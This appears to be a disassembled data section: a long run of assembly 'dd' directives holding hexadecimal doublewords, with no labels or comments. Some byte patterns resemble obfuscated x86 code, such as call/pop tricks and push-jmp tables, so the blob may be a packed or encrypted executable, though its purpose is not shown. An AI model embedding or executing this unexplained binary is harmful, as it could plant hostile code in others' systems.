dd 4487106h, 5321DEB1h, 2489C3AEh, 6F3CAC51h, 462961B5h
dd 0FC0023A1h, 0FB93699Ah, 77h, 0BC452A04h, 67E04802h
dd 0D5770EF0h, 47C06806h, 0B5770EF0h, 5F224A26h, 0F45731BAh
dd 0AD420448h, 0F59718FCh, 9B20FD90h, 91AB580Ch, 4E996D4Eh
dd 43h, 6F452AE9h, 0EF042DBh, 5858C077h, 1A2AF159h, 0A9C1AC3Bh
dd 0FDD8ACF6h, 3F941D6h, 0B645C36Bh, 1E02770Eh, 0DADFB0CAh
dd 872CC99Ch, 179878C5h, 0DE582C88h, 0B68B0424h, 6AF1770Eh
dd 258B8Eh, 2A2A0000h, 42CBC45h, 770EF089h, 3F2E72AEh
dd 4D1CE49Ch, 0A1D5EAD4h, 0C9AF00FCh, 8B687FCAh, 12E78A66h
dd 0F0F8FBE9h, 0FF4B6785h, 7511FC2Dh, 891474E3h, 0AFBC08E7h
dd 325A5B3Fh, 0F2B50257h, 278A0327h, 63F6710Bh, 0F65B0994h
dd 0B6F19B20h, 263CE7CBh, 3490B36Dh, 0AF4B4663h, 3F8A2B21h
dd 1B09A783h, 0D8B76F0Eh, 0A6268D36h, 9BD3073Dh, 436434F5h
dd 6B0D90F4h, 55FE0646h, 68770E1Bh, 0A84E0054h, 7C5B75C9h
dd 339EEE33h, 83F0265Dh, 0F0F992B6h, 9047770Eh, 0F4986D05h
dd 0D208AF39h, 917C44DDh, 9D1692F7h, 432AAC2Fh, 6C01C1A2h
dd 67626A8Fh, 74FEE589h, 986D5680h, 0F2AB4223h, 94F19B20h
dd 40A9B309h, 0CA000000h, 0FA9D83F0h, 1956EF5h, 556A8F6Ch
dd 0A0C7CBEAh, 336DCB56h, 5956A679h, 67FA7C53h, 697C6C95h
dd 8D062682h, 0F3770EAFh, 82018F64h, 3BF442Ah, 64648D62h
dd 0F1088B61h, 3D5A72h, 1D90000h, 0F69E8B6Ch, 218E6AF1h
dd 1D95A54h, 0EF0B029h, 2FC0AD77h, 3887C28Ah, 0A5C1DD7Eh
dd 0E6B64BA0h, 4701890Ah, 572DD2A6h, 47442ADCh, 1516C3B2h
dd 0EB2AC09Fh, 0B2194C1Ch, 2A72F131h, 22AA243h, 770B6F97h
dd 0C48429CDh, 6F5DF652h, 34A3770Ah, 523ABF51h, 0BF1F43F1h
dd 0DABB4A0Ch, 0BFD2B7D1h, 2DB8D0D9h, 673F6357h, 94796F90h
dd 28EEFE03h, 6F41DA6Eh, 0D0BF770Ah, 56D2B942h, 33555E33h
dd 2678AC90h, 7F0EA851h, 1673159Eh, 273DF69Ah, 209968D1h
dd 41h, 68432A53h, 17FB56AAh, 0BF29B47Ah, 437F7D08h, 0EE13E489h
dd 85EB21FEh, 0C42C9D86h, 6DAB8379h, 0CB7511D5h, 13E14C1Ch
dd 7E13FEEEh, 63BC1375h, 2D504BAh, 0E428E494h, 0C91D135Ah
dd 8BD9DEB1h, 0A2432AC8h, 0CF29D2Ah, 92044469h, 0EF11DB6h
dd 69F46377h, 0FA44E482h, 607511FAh, 442997F5h, 85D0FB0h
dd 83F037ACh, 0AC2F8865h, 0C1A2432Ah, 8074A82Bh, 7F986D56h
dd 59h, 886C01F8h, 0F0FB94B4h, 9A41770Eh, 22F05D0Fh, 0F9ACF99h
dd 7F7906B1h, 37A19043h, 0FB305802h, 0AD0B9617h, 0B0290136h
dd 6B770EF0h, 0F10099B1h, 117C770Eh, 1B917C81h, 0EEC6573Ah
dd 0EF0C15Ah, 0DDA83F77h, 8201FD76h, 0C6BF442Ah, 325A72F1h
dd 1C000000h, 0AB01A649h, 6583F028h, 0B0290188h
dd 0AD770EF0h, 0BEF7E38h, 0E37CCCEAh, 59770EF0h, 1BD36B2h
dd 0BF442A82h, 0E34701C6h, 770EF06Ah, 1BA503D6h, 455E0164h
dd 0A76626FCh, 771E73C9h, 63CE1676h, 91770ACDh, 0D90F8FDh
dd 56044469h, 8F603A6Eh, 50EC9F6Ah, 2A34A0Ch, 0ED16FB4Eh
dd 788116FBh, 0C4E98D10h, 50553984h, 588C4038h, 3B6FD5FEh
dd 67658E63h, 692EB8CCh, 23B799h, 2AC00000h, 9D2AA243h
dd 6EBAF4F2h, 751214A4h, 608568FDh, 803EAD84h, 8E409EDh
dd 577BB960h, 1177781Fh, 0A2432A62h, 0F4F29D2Ah, 15A86EBAh
dd 2B867512h, 0BD28A049h, 22F598D6h, 1043279Dh, 886583F0h
dd 0D4A64701h, 0E028BD2Fh, 770EF067h, 0C2AA06D5h, 0A2432A91h
dd 6E936104h, 0A82B1192h, 6D568074h, 2A7F98h, 1F80000h
dd 0E7BCBA5Eh, 55D3DA88h, 0A2039DEAh, 0F0B02901h, 590C770Eh
dd 2A8201E4h, 1C6BF44h, 8E6A8F6Ch, 305A4320h, 0D9000000h
dd 886583F0h, 0CFA64701h, 0E17A522Eh, 0FE770EF0h, 82018A6Bh
dd 0A775442Ah, 87F2C2CCh, 1D5AE35h, 63658E6Ch, 85885166h
dd 38948F19h, 2A7DF2BCh, 22AA243h, 770B6F97h, 64074BE9h
dd 1E8077B3h, 0DB8E89E7h, 8EDB8D36h, 37B85F32h, 0FD02EA7Bh
dd 0F79E6307h, 0A6D196F6h, 94B46E08h, 770A6CFBh, 601E9A41h
dd 8932C7A6h, 1E2E8ADFh, 750D8A9Ch, 0DAABC792h, 0B2D7B136h
dd 9A721FEDh, 55D30CB8h, 83F04231h, 96F6FB9Dh, 18F64F3h
dd 0F79E8B6Ch, 64616BF6h, 2AF3E088h, 5304A243h, 0A077FA6Ch
dd 47184D1Fh, 1C98D353h, 0AA6D2BA7h, 0BBCC6EA7h, 0F97AF675h
dd 64896C01h, 56B1BB88h, 384E986Dh, 0E9000000h, 886583F0h
dd 0F0B02901h, 0A86B770Eh, 34425B21h, 0D8F977DCh, 0C22AE3C7h
dd 2CBDE534h, 78AF4DABh, 851675C0h, 92796C7Ch, 2A820111h
dd 0F1C6BF44h, 4F5A72h, 0F0D90000h, 0B84D6583h, 0BC452BD4h
dd 422AB7D1h, 0D95AD6BDh, 0F0B02901h, 38AD770Eh, 0E50EEF7Eh
dd 0DE32F5D4h, 12EE9247h, 0A6470191h, 0D74C28D1h, 0B347442Ah
dd 0A00F5A32h, 0FDB7F1C3h, 0EF0B42Dh, 0DB64477h, 8A170E5Bh
dd 97FA9879h, 0CDAB36BCh, 0A2432A56h, 0D4BB4A04h, 0FC2CB9D3h
dd 770EF063h, 0D6B632D9h, 0B6FA30Eh, 0EB3FF577h, 553BBC53h
dd 0C0882DC0h, 138C9C56h, 0E770A70h, 0A6FA13Ah, 49481F77h
dd 852ECF82h, 3DF5802Fh, 49111170h, 0EB8712EBh, 0D28A15Fh
dd 0DDB01F75h, 4ED5B0D8h, 5E01591Ah, 3CC1FEE0h, 36817F55h
dd 2FD6AF49h, 0A2432AACh, 8E6C01C1h, 0F8FB8F65h, 6AE34701h
dd 0D6770EF0h, 969EA503h, 0D986D56h, 7B6D9678h, 3788926Eh
dd 2B000000h, 886583F0h, 0F0B02901h, 590C770Eh, 0A64701E4h
dd 0D9BB2ECFh, 572DB8D0h, 0BF442ADCh, 5A72F1C6h, 59h, 94527B1Ch
dd 0A37EF0B3h, 25A028D1h, 5D660B5Eh, 83F06CE7h, 0F58A4D65h
dd 0B0187EF9h, 0F7A88A79h, 0D6BD1E16h, 1017B098h, 0F665770Eh
dd 2901F97Ah, 770EF0B0h, 7F29A6Bh, 517E49EFh, 0FBED7884h
dd 79212EEh, 2A8201AEh, 0F1C6BF44h, 0CA7EE4B7h, 6AC549B7h
dd 1E9A6186h, 0A2432AA5h, 3EF29D2Ah, 6A0D0752h, 7D13445h
dd 75D5ED78h, 7510F133h, 0E18EC289h, 0CA5E1896h, 6F03EDA9h
dd 77165007h, 0E04D1FA0h, 0E8FDEF10h, 7AC7A71Dh, 0EBBBD893h
dd 0DBBC55F5h, 55007704h, 15E25604h, 0A077DA8Eh, 3ACB4D1Fh
dd 0A93CAC55h, 0A097FBD3h, 3BF91FBFh, 37B85F17h, 8429CC51h
dd 109579C4h, 0ED317378h, 2A09EF7Eh, 43BE5BF5h, 7A1FEA0Ch
dd 37777C0Ah, 4D209CC2h, 0F24705AAh, 22DC9A1Bh, 4D338D06h
dd 8864F30Bh, 0AC7C36E0h, 0B4D3333h, 0E88FC289h, 64C085C7h
dd 1171h, 0D1A44900h, 59E3BC2Ch, 2C4BC8C1h, 36AD0B96h
dd 472A8003h, 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh
dd 6C0D90F8h, 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 510B4008h
dd 0C181E189h, 4, 3304E983h, 0C31240Ch, 240C3324h, 7B9F685Ch
dd 0C890000h, 59146824h, 4890000h, 68505224h, 0EB53DB9h
dd 0C2152D58h, 0C289BEA6h, 0F811B958h, 0D101B5FAh, 48B545Ah
dd 4C48124h, 81000000h, 4ECh, 240C8900h, 56240481h, 8F11BD17h
dd 68810840h, 0BD175608h, 2434FF11h, 4C48358h, 592434FFh
dd 0E904C483h, 0FFFA01A1h, 0B89D7F8Ah, 6097B4Fh, 0E0FFC503h
dd 4C0EB934h, 5857A7F2h, 363DDE11h, 65BC3EF2h, 5426438Ch
dd 7DA8F7AAh, 4B49C235h, 40B070C8h, 4948BD2Ch, 7CCCC0FDh
dd 26A9E8F8h, 6080D8F9h, 1D85F672h, 4A113A75h, 4FF77109h
dd 717A410h, 668182EBh, 6BB6B71h, 7F9D2AC6h, 17F40EC5h
dd 113FEC84h, 17E0DF9Ah, 4B339453h, 1755D684h, 1BA65D18h
dd 7A438001h, 1AE0FE62h, 14506C73h, 70172A98h, 7D028D8Dh
dd 6A0609h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 33B053C3h, 0B02BB609h, 19DD9531h, 8D890603h
dd 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 12C35545h, 0E185C774h, 0D8060301h, 6A00006Eh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 291AC352h, 313B58Dh, 0BD85C706h, 60321h, 80000000h
dd 1EBAD4CEh, 0FF24F802h, 321D9B5h, 0BE906h, 41F60000h
dd 0B2298879h, 221741ECh, 9195FF92h, 0F060326h, 68Ch, 49B53100h
dd 6A060320h, 0B995FF00h, 8B06031Fh, 8009EBC0h, 264237DDh
dd 73F67816h, 0FE8h, 0CBC3D200h, 67C4F749h, 0D98AD4AEh
dd 9DD7ECE8h, 8B5EFB8Bh, 27C681C3h, 81000062h, 63A09EE9h
dd 0F4FABA31h, 0EA8133BEh, 33BEDC97h, 28C0Fh, 0E8B40000h
dd 0B15B36FFh, 5EF3810Fh, 8B30177Eh, 321A185h, 21EB8106h
dd 535C4AB2h, 6E9h, 90B8100h, 58B33BDEh, 20DCEB81h, 0BF0F19AFh
dd 0E81E89C8h, 0Dh, 5303682Fh, 0B3F489DFh, 7123FAC3h, 0C18B66EEh
dd 4EE835Fh, 83CDE580h, 850F01EAh, 0FFFFFFACh, 13E9h, 0E4A37100h
dd 1812F757h, 2B98CC4Fh, 64E49242h, 0F3BD38D4h, 7E578D8Dh
dd 9D2B0609h, 6032A21h, 31D18D89h, 31510603h, 32A5DB5h
dd 85C75B06h, 60301E1h, 60B0h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 22C35141h, 0D9D78146h, 0C7429278h
dd 321BD85h, 6, 68D0F00h, 31000000h, 32D4DB5h, 61B5FF06h
dd 56060329h, 0FC5B503h, 0E85F0603h, 13h, 26501D75h, 0ED392774h
dd 0CD7180FCh, 1AC69C38h, 0FC61BBEh, 688h, 2D950100h, 5A06032Ah
dd 269195FFh, 0C6810603h, 5B19B3ECh, 95FF006Ah, 6031FB9h
dd 7DEBC08Bh, 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h, 770A5B3Bh
dd 0C1DA45FEh, 0E43D0D86h, 9D691579h, 0D42D738Dh, 6363A5C3h
dd 200DBB01h, 20ED1585h, 347EE2A5h, 0C1DC1044h, 0A5291B0h
dd 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0D5F7903Ch, 7C113451h
dd 0A2A21E15h, 9C2CAFEh, 33F35D67h, 0FE1F18C2h, 8BE4D73Dh
dd 0E447A33h, 0A6941399h, 0F4ED61F6h, 3260D337h, 0CE76EB6Fh
dd 1CE48A81h, 0DBC9D483h, 0C78D8D81h, 6A06097Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0A500C353h, 60ED5502h, 1499094Ch, 778BBF66h, 0DC28160h
dd 8A046B2Fh, 8D8961F7h, 60331D1h, 5880Fh, 40BB0000h, 0C7323834h
dd 301E185h
dd 679006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 0D88156A3h, 52A2A4F9h, 68C0Fh, 8B0F0000h
dd 0
dd 21BD85C7h, 603h, 0E6800000h, 0D9B5FF90h, 0F060321h
dd 1A87h, 14840F00h, 0E8000000h, 0Eh, 52B355D0h, 0FE6A644h
dd 259342B2h, 95E8E41h, 31211BDh, 9195FF06h, 6A060326h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 8129C355h, 9DB031CFh, 0D5F7805Dh, 95FF006Ah
dd 6031FB9h, 9EBC08Bh, 7436998Bh, 0E44F20B7h, 7C8D8D43h
dd 0F060980h, 8D89DFB7h, 60331D1h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 74C35343h, 1185295Ah, 0C706031Dh
dd 301E185h, 646006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0B70F2D62h, 0BD85C7D0h
dd 60321h, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 9995C351h, 0B5FFF548h, 60330A9h
dd 1FFD958Bh, 0DF800603h, 9195FFEEh, 31060326h, 312598Dh
dd 0FF006A06h, 31FB995h, 0EBC08B06h, 0D3AB0938h, 0C6A71414h
dd 4E175D23h, 0BBA11561h, 3C8876EDh, 4BFE855Bh, 1A3CB9F5h
dd 0A221F6Ch, 17B7F108h, 41C16F48h, 18C82192h, 7D42EC05h
dd 3CBC1AECh, 56DAA80Fh, 6E823h, 45D90000h, 3E87D03Bh
dd 0FE9h, 2EAF2700h, 87D3AC9Dh, 722CE70Bh, 4FAD12EAh, 498D235Fh
dd 81060310h, 5BEBC7h, 0EE900h, 0FBE90000h, 0BA3BEF2h
dd 6CCAC8B3h, 780AF2EFh, 0C1A8E7BEh, 0E2C6816Bh, 89943E6Dh
dd 331B5BDh, 8A1F8B06h, 87C381F7h, 577C3DAEh, 9F07BA66h
dd 0BEF3815Ah, 8B1A71D0h, 30C8585h, 7EF38106h, 0F1891CDh
dd 48Bh, 0C6B96600h, 78F53D7h, 0B259D09h, 0EF830603h, 0CA8B6602h
dd 8E94F4Fh, 2000000h, 78FA5663h, 4E9D3CCAh, 1A850Fh, 0EB8A0000h
dd 28E9h, 0B95EF500h, 2FB300D7h, 2C6762EDh, 0F32F99F2h
dd 61A7D505h, 26FDBD89h, 8AE90603h, 8CFFFFFFh, 1979E077h
dd 0C12FF7EAh, 0FB8D8D01h, 0F9060981h, 31D18D89h, 85890603h
dd 60309A9h, 1E185C7h, 62780603h, 0C7F80000h, 321BD85h
dd 6, 5958900h, 0FF06031Bh, 310CDB5h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0C885156Dh, 0CD25471Ch, 9D898724h, 603221Dh, 269195FFh
dd 9D8B0603h, 60311E9h, 95FF006Ah, 6031FB9h, 0EEBC08Bh
dd 0D418C1F4h, 4852EFCCh, 0F41B4C0h, 85C660E7h, 6032F39h
dd 30DF6856h, 0B5FFA9C5h, 60328C9h, 73BC858Dh, 0D0FF0606h
dd 1F498D8Dh, 6A510603h, 6DB5FF40h, 0FF060322h, 32CB5B5h
dd 0FFD0FF06h, 3226DB5h, 0B5B5FF06h, 0E806032Ch, 12h, 63FE6D2Ah
dd 0DC440032h, 0D221BCB5h, 0E87B5528h, 5959B7AEh, 0C104E983h
dd 0C102242Ch, 3022424h, 1CF7240Ch, 6824h, 0FF5E0000h
dd 81580E34h, 26E5DC0h, 4F08170h, 81077F34h, 228540F0h
dd 31048967h, 3B04EE83h, 850F2434h, 0FFFFFFDBh, 1F8D9D8Dh
dd 38B0603h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 0ABE9C9h
dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h
dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h
dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h
dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh
dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh
dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
dd 0A601E800h, 323D94E7h, 17BE4B83h, 1248E912h, 47680000h
dd 0E9060985h, 0FFF9F9EDh, 9860168h, 0F9E3E906h, 0CD68FFF9h
dd 0E9060986h, 0FFF9F9D9h, 9882F68h, 0F9CFE906h, 0A068FFF9h
dd 0E9060988h, 0FFF9F9C5h, 9896168h, 0F9BBE906h, 2B68FFF9h
dd 0E906098Ah, 0FFF9F9B1h, 98ABC68h, 0F9A7E906h, 7C68FFF9h
dd 0E906098Bh, 0FFF9F99Dh, 98CE568h, 0F993E906h, 0C368FFF9h
dd 0E906098Dh, 0FFF9F989h, 98F0668h, 0F97FE906h, 4B68FFF9h
dd 0E9060990h, 0FFF9F975h, 9921568h, 0F96BE906h, 5F68FFF9h
dd 0E9060993h, 0FFF9F961h, 26AA4B2Eh, 0AB39C253h, 0C58B30C6h
dd 751B9C70h, 0E6EA0FE0h, 0F485D10Ch, 643499CFh, 0DAB80D43h
dd 472EB3D1h, 179322A6h, 56C9A33h, 9556E671h, 618A6C01h
dd 0F2F39A67h, 8460CF9Ah, 0FFE90EE1h, 167A7B12h, 0F6B02E59h
dd 12007C52h, 13AF3A75h, 451A9B72h, 2A75F074h, 57378D16h
dd 0B08128Fh, 0B5581E71h, 0A43D0DE3h, 18710B07h, 0E3E6E64Dh
dd 0BED3105h, 936964F1h, 4BEEh, 5E010900h, 71AFF4C2h, 0B17EFAF5h
dd 0BA8E28C6h, 7511EF08h, 0F697D386h, 22D25625h, 220189BFh
dd 16503557h, 0AF59932h, 0F470E771h, 0F5CF4C94h, 8F61710Ah
dd 0F99F626Ah, 0EC2098F0h, 0C9771EB8h, 57899385h, 0B5469369h
dd 0F1000000h, 2AA2432Ah, 5F09B247h, 0F29A1BF2h, 6167886Fh
dd 0EEDC3D9h, 0B2472677h, 0AE0A5F09h, 0DDB334DBh, 103DB063h
dd 3EBD975Eh, 0A7482F42h, 0F9F78225h, 71FF69C1h, 0AE3D7511h
dd 0E4028D3Ah, 1A507ECAh, 0E3CE6F09h, 37E1EB0Ch, 8B97A13h
dd 8413C677h, 0BEC8139h, 2366422Ch, 126794Fh, 256F62ACh
dd 7014E34Eh, 14340CEDh, 7708107Bh, 0F48F1AC1h, 0E6D9355Fh
dd 0E917CAA2h, 6D00000Fh, 967B698Eh, 5E8FC05h, 0B71A4E73h
dd 278ADEDFh, 493BA952h, 0B237D88Eh, 6A74BDEh, 941DFF42h
dd 658A6DF0h, 0F0585E67h, 71056B57h, 2A5013A5h, 4528BC45h
dd 245F0DB2h, 4B6785F0h, 11FF4DFFh, 7414C375h, 0BDF2FACh
dd 9A3DFD71h, 7BCCB367h, 63AB6C4h, 9ABEC6D2h, 93B99369h
dd 3A000000h, 67886C01h, 8B6D6065h, 10E78A66h, 7F10FDEFh
dd 0C1A4127Ah, 1E2E8A2Fh, 770EEE08h, 6402A34Ah, 0EE059EAAh
dd 0EC7B770Eh, 6E97C10h, 0B5C0E7E1h, 45AF7B37h, 0FB7511FEh
dd 444F786Ch, 232008A6h, 916F0978h, 38D9ACCAh, 0A748DDB3h
dd 6CF06302h, 4D1DE6D9h, 0F2F90h, 0A7482B00h, 3ABF5C21h
dd 842DC356h, 14997DC0h, 0E70CED70h, 86D403E1h, 3184C8F1h
dd 0A5085C61h, 2BBED2D7h, 942DA344h, 6A9D3612h, 51E37105h
dd 0BC452A92h, 0DB24528h, 432A245Fh, 0B0472AA2h, 22F4590Fh
dd 8B62CF99h, 5E57666Ah, 6703A1ECh, 0B2E6D1B4h, 74A28E3h
dd 0B7F14F70h, 1137BD93h, 86147B75h, 0F4019AAEh, 0E87F710Ah
dd 15F8B61Dh, 0C5807C81h, 8522E563h, 3CBAC59Dh, 5398A682h
dd 0BE618388h, 0F8D7D6AAh, 8CA503C1h, 8DF88FD9h, 0DF99536Fh
dd 8437D24Bh, 3DBB2E7Fh, 8224BCEDh, 0A576177Dh, 0B97428D6h
dd 69F42C53h, 96676A7Fh, 2BBE976Dh, 5D30D58Fh, 0E689DC58h
dd 573E83C1h, 21A1F56h, 0FDF1753h, 0E63D2h, 9314E700h
dd 668B68FDh, 0F0F99F62h, 4065099Ch, 0D3D8B90Ch, 520837BDh
dd 0CD5034BDh, 71C4882Dh, 0E74A1EA3h, 0D8F9EF10h, 6AD14ADEh
dd 9D2F7105h, 0A2432ADEh, 0F4F29D2Ah, 8C6D00BAh, 0C3A18967h
dd 717511FDh, 5538E6EAh, 3BAE3EC3h, 6987F2BDh, 0FDF3F951h
dd 0AA316F0Eh, 0BD7D1A22h, 0EF8B770Eh, 83A77D1Eh, 770EBE0Ah
dd 7414E376h, 73A79B11h, 6D1F5F65h, 0CDA14499h, 554E4C28h
dd 2C000000h, 5537BC59h, 0F03FB430h, 914B6785h, 0EF020B9h
dd 0B62FFB77h, 0A770EF0h, 1B91445Fh, 0AB3CCD5Dh, 25B07511h
dd 911AF88Dh, 5D6634D9h, 0E07B83E7h, 14710BA3h, 85687C81h
dd 9FB938F7h, 1B43D02Ah, 8B5ADC8Ch, 0F8BBDCE5h, 2CEB99EEh
dd 913D209Ch, 4000000Dh, 0F89F85F0h, 0AFF095F7h, 3AF324B2h
dd 7C3A81AAh, 8185AACh, 6D05D075h, 4223F598h, 54008B1h
dd 51A8A03h, 9463F671h, 0D1A746F0h, 56394C28h, 5703751h
dd 709E082Dh, 5673FD8h, 892EBD71h, 0CBA9A016h, 5423A626h
dd 4A99B1C9h, 0A16EFF14h, 207BC3FEh, 308C2725h, 592C4A11h
dd 0CE5331B6h, 0C79D7E27h, 0ED8EA63h, 34835677h, 0FD883FA9h
dd 5967C3FFh, 0A07511D6h, 0C48429CDh, 0A70A2B81h, 2F462DD6h
dd 0E0DCCE20h, 1F815F5h, 500000Dh, 8E137176h, 3D80C4EDh
dd 0AF32565Bh, 0DFA226C7h, 51D3B13Ah, 9A1FF0A6h, 6E8F63F6h
dd 0FC05977Ah, 4D7205E8h, 0E840461Fh, 7105686Fh, 6FB83BCDh
dd 770EF0F2h, 730FADD8h, 86F00D7h, 0DD954075h, 0C406508h
dd 0B7D1D6B9h, 4B6785F0h, 87C01FFh, 0D787586Fh, 62FB4FABh
dd 0DE77049Dh, 4F83760Bh, 0E0774E2Ah, 0D5E73CC1h, 10CD9DE6h
dd 0C90h, 82C6E78Ah, 37555E3Fh, 0A127CCA2h, 0D1B738DCh
dd 4206AB4Ch, 906135E0h, 90656Bh, 7604E9FFh, 0E38A1F4Dh
dd 0B3F78EC2h, 568FE97h, 31B24271h, 2AA2432Ah, 5D0FB047h
dd 100054C8h, 996D4E0Ch, 6ADCBh, 85F07400h, 13FF4B67h
dd 0D75086Fh, 0BE2ECFA6h, 0D4B43DD3h, 235F2AB1h, 6E48C169h
dd 21B47105h, 95780D4Bh, 6E97C10h, 879BFE2Bh, 9D686043h
dd 95A623CBh, 90757105h, 3F90F8FDh, 89BA85DBh, 0DF5520ABh
dd 4B4D2550h, 0C7C436CCh, 402421A5h, 339EB153h, 0F8500AA4h
dd 7105845Fh, 0BAD1C4DDh, 0BA0F13D2h, 2DD6B82Fh, 33311957h
dd 16F0812h, 2A601B5Ah, 6DFDE6D5h, 0BCFF0h, 7A84B00h, 9A1FFC41h
dd 648D63F6h, 0F4F99D60h, 476C0D90h, 2674A301h, 5124A851h
dd 0C5A83CC1h, 4BDEB237h, 344D03A4h, 673DD672h, 0F1837105h
dd 0A2432A72h, 0A28D6104h, 78A3B3CEh, 4314E3E4h, 21A145C0h
dd 5E2E8A9Ah, 0F19B1CF3h, 2ACB9A54h, 8F5DF652h, 34A3770Eh
dd 0A03911A9h, 1C770E8Fh, 9BCFF349h, 737805E8h, 0ECB6CEF5h
dd 0BFB1996Ch, 0C2000005h, 0EF0F26Fh, 0FADD877h, 44D4B973h
dd 0C0BC29A3h, 86D5CE8h, 4428BD75h, 81ECC5A3h, 437FCAEFh
dd 0ED16E489h, 0D6C9EEFBh, 90C2DBA9h, 17FE9369h, 886FF296h
dd 37426567h, 0E34701B9h, 7105666Ah, 0EBA503D6h, 874615Fh
dd 6908DF6Fh, 0E6D54C98h, 55CB159h, 100000Bh, 8A1F4D72h
dd 398CC0E9h, 0AB3E5257h, 0DBAE22C3h, 55DF8D36h, 961BFCAAh
dd 6A8B6FF2h, 0F8019366h, 496E0194h, 0EC3C7A1Bh, 71056673h
dd 2A4427C9h, 5304A243h, 8A8A393Bh, 8F34C526h, 59244420h
dd 0F25731B6h, 61E1A4Eh, 0C1996C75h, 516h, 6785F072h, 6D3AFF4Bh
dd 63F67508h, 2ECFA647h, 0BF40D7BAh, 0F59A6B2Dh, 0BB5870CCh
dd 0AF71056Dh, 80A8C6E4h, 6F087BA2h, 9D5C3D90h, 248C792Dh
dd 6DF84766h, 0D50C8752h, 0AFA24AE6h, 0A74h, 0EEE20396h
dd 13717A1Bh, 8DC3E88Eh, 3D535438h, 0AE22C7A8h, 0AC4D19C4h
dd 1CFC4107h, 9260F59Bh, 0FF967B69h, 0CFCBEAFEh, 566E27Bh
dd 0CDAE5E71h, 0A768432Ah, 89BAF831h, 0EF721AE1h, 0AE7A3408h
dd 770E6E35h, 53CCDC8Bh, 0A9770E6Eh, 0A8355722h, 0C6AB3DC6h
dd 4CDF892Eh, 67328CD0h, 718B6DB1h, 6E996CCCh, 46Eh, 1DB6924Ch
dd 63770E67h, 6FFB78F4h, 770EF0F5h, 7A34B2DDh, 86D34AEh
dd 0A3DF8A75h, 8B7404E9h, 1577C2E3h, 0B4452F70h, 0EE7D4324h
dd 17987F12h, 0E409EC71h, 515A3BCAh, 89F4B3DBh, 0F0954F6Bh
dd 9ACF9922h, 0F5880E1Eh, 73E66F08h, 0D5CE6B30h, 0BB5636E6h
dd 9B4h, 0AE22C356h, 0D3B13ADBh, 4D03A84Eh, 0FD9314F8h
dd 6E628768h, 6C0D5984h, 0DCBC0147h, 5220B5DBh, 0BF563BA9h
dd 8F0BAA3Eh, 56522BBh, 0DEE9E71h, 2AA2432Ah, 5D0FB047h
dd 0CE9E23F0h, 616B8C63h, 0E65084B8h, 7B3367DDh, 84571394h
dd 0A6266BCDh, 0DFB309DCh, 6D131014h, 160CF99h, 0D8AD0000h
dd 0B3D6B63Bh, 3FB53EDCh, 8F6C0144h, 40F92FA0h, 432EE983h
dd 2ED80E5h, 7A49D4Fh, 38D179C5h, 84770E32h, 0EDFF4AD1h
dd 0D3C3682Bh, 7F78FC24h, 0DD6EE743h, 7D2770Eh, 4631C4A9h
dd 0AACE5ADDh, 85A5DDE4h, 770E520Ch, 4A1EE570h, 1A54523Dh
dd 0B2B3BF60h, 6471C5D2h, 0B6EAA088h, 3DA87511h, 980683ABh
dd 1E02710Bh, 24CA9BCAh, 0CE47E39Fh, 32710B97h, 0E2FAC9A7h
dd 9D9369F4h, 3Eh, 6785F01Eh, 0FF4DFF4Bh, 0F3A47511h, 0B65E8105h
dd 0A2A56031h, 57D24BDFh, 0BB2E710Bh, 0EA71502Ch, 57BD5AE2h
dd 0D54B710Bh, 0B98D9781h, 77169369h, 0A54B1E9Fh, 0A3194C1Ch
dd 93B9h, 432A3A00h, 0AD5304A2h, 81640400h, 7CC1A907h
dd 0EB76169Bh, 4E9E304h, 0F0184C71h, 770E8B4Ah, 0F8EC11E4h
dd 8826C4CFh, 555E3FCEh, 3AE0CFDFh, 5637750Ch, 65BC38C1h
dd 44D5B8F6h, 0B34429BFh, 29B4770Eh, 9179E0DAh, 84B7Ch
dd 8B2CCF00h, 1EA370C5h, 0E811E74Ah, 787D11E4h, 0CBF08114h
dd 0BAF02F85h, 0D5B82CD5h, 592CA045h, 0CF5236BBh, 0B0C18728h
dd 64B952F6h, 75077105h, 0BC452AF6h, 0FE9F6E28h, 7AF693F5h
dd 437F8017h, 0A028D1A2h, 0B83B4F25h, 2AA2432Ah, 590FB047h
dd 25984h, 85F03F00h, 15FF4B67h, 0B7511F7h, 67E40C5Ch
dd 0A5710BD6h, 6E936005h, 89566B7Eh, 0F6D11A5Bh, 14387CF8h
dd 69A4F80Ch, 2EF1AB93h, 0A81C5E9Fh, 50C9C394h, 0AC710B61h
dd 0F5594339h, 0DA000001h, 0EF0F76Fh, 36B4DF77h, 6D2CD078h
